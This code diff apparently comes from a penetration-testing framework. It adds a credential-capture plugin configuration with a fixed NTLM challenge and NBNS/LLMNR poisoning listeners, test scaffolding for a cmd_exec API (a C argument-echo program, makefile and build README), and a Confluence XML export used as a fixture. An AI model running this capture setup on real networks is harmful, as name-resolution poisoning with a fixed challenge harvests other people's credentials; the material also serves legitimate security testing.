|
||||
@@ -1,3 +1,4 @@
|
||||
# configuration file for the capture plugin
|
||||
spoof_regex: .*
|
||||
ntlm_challenge: "1122334455667788"
|
||||
ntlm_domain: anonymous
|
||||
@@ -6,6 +7,7 @@ ssl_cert: null
|
||||
logfile: null
|
||||
hashdir: null
|
||||
services:
|
||||
# authentication services
|
||||
- type: DRDA
|
||||
enabled: yes
|
||||
- type: FTP
|
||||
@@ -16,6 +18,8 @@ services:
|
||||
enabled: yes
|
||||
- type: IMAP
|
||||
enabled: yes
|
||||
- type: LDAP
|
||||
enabled: yes
|
||||
- type: MSSQL
|
||||
enabled: yes
|
||||
- type: MySQL
|
||||
@@ -44,6 +48,7 @@ services:
|
||||
enabled: yes
|
||||
- type: SMTPS
|
||||
enabled: yes
|
||||
# spoofing / poisoning services
|
||||
- type: NBNS
|
||||
enabled: yes
|
||||
- type: LLMNR
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
## Setup
|
||||
|
||||
This contains setup steps used for acceptance testing of the `cmd_exec` API. We will make use of the gcc docker image to
|
||||
build out the C binaries to then be uploaded to the host machine, so they can be used as part of the `cmd_exec`
|
||||
create process API.
|
||||
|
||||
This directory contains:
|
||||
- C executable `show_args.c`
|
||||
This file is used as part of the `cmd_exec` testing as it requires a file to take args, then loop over them and output
|
||||
those args back to the user.
|
||||
|
||||
- Makefile to build the binaries `makefile.mk`
|
||||
This file is used to create the binaries for both Windows and Linux that the docker command below will make use of.
|
||||
This will output the following binaries:
|
||||
|
||||
- Precompiled binary for Windows
|
||||
- `show_args.exe`
|
||||
|
||||
- Precompiled binary for Linux and Mettle
|
||||
- `show_args`
|
||||
|
||||
### Note
|
||||
|
||||
You will need to compile the OSX payload separately on an OSX machine, Docker is not supported. The test assume the file
|
||||
will be named as `show_args_macos`.
|
||||
|
||||
|
||||
## Compile binaries locally
|
||||
|
||||
We make use of gcc for this: https://hub.docker.com/_/gcc
|
||||
|
||||
- Run:
|
||||
```shell
|
||||
docker run --rm -v "$PWD":/usr/src/myapp -w /usr/src/myapp gcc:11.4.0 /bin/bash -c "apt update && apt install -y gcc-mingw-w64 && make all -f makefile.mk"
|
||||
```
|
||||
@@ -0,0 +1,5 @@
|
||||
all: show_args_linux show_args_windows
|
||||
show_args_linux: show_args.c
|
||||
cc show_args.c -o show_args_linux
|
||||
show_args_windows: show_args.c
|
||||
x86_64-w64-mingw32-gcc show_args.c -o show_args.exe
|
||||
@@ -0,0 +1,7 @@
|
||||
int printf(const char *format, ...);
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
for (int i = 0; i < argc; i++) {
|
||||
printf("%s\n", argv[i]);
|
||||
}
|
||||
}
|
||||
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
@@ -0,0 +1,4685 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<hibernate-generic datetime="2023-11-09 06:05:20">
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196658</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Lay out your page (step 6 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[lay out your page (step 6 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196654</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196655</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196656</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196657</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196650</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196651</id>
|
||||
<property name="destinationPageTitle"><![CDATA[What is Confluence? (step 1 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[what is confluence? (step 1 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196652</id>
|
||||
<property name="destinationPageTitle"><![CDATA[A quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[a quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196653</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196646</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Share your page with a team member (step 9 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[share your page with a team member (step 9 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196647</id>
|
||||
<property name="destinationPageTitle"><![CDATA[What is Confluence? (step 1 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[what is confluence? (step 1 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196648</id>
|
||||
<property name="destinationPageTitle"><![CDATA[A quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[a quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196649</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Lay out your page (step 6 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[lay out your page (step 6 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196642</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196643</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196644</id>
|
||||
<property name="destinationPageTitle"><![CDATA[//maps.google.com/maps?q=Atlassian,+George+Street,+New+South+Wales,+Australia&hl=en&ll=-33.866572,151.207001&spn=0.004321,0.008256&sll=-33.870509,151.203707&sspn=0.008641,0.016512&oq=atlassian,&hq=Atlassian,+George+Street,+New+South+Wales,+Australia&radiu]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[//maps.google.com/maps?q=atlassian,+george+street,+new+south+wales,+australia&hl=en&ll=-33.866572,151.207001&spn=0.004321,0.008256&sll=-33.870509,151.203707&sspn=0.008641,0.016512&oq=atlassian,&hq=atlassian,+george+street,+new+south+wales,+australia&radiu]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[https]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[https]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196645</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Learn the wonders of autoconvert (step 7 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[learn the wonders of autoconvert (step 7 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196638</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196639</id>
|
||||
<property name="destinationPageTitle"><![CDATA[A quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[a quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196640</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196641</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196634</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196635</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Learn the wonders of autoconvert (step 7 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[learn the wonders of autoconvert (step 7 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196636</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196637</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196630</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98320</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196631</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196632</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196633</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196626</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Learn the wonders of autoconvert (step 7 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[learn the wonders of autoconvert (step 7 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196627</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196628</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Lay out your page (step 6 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[lay out your page (step 6 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196629</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
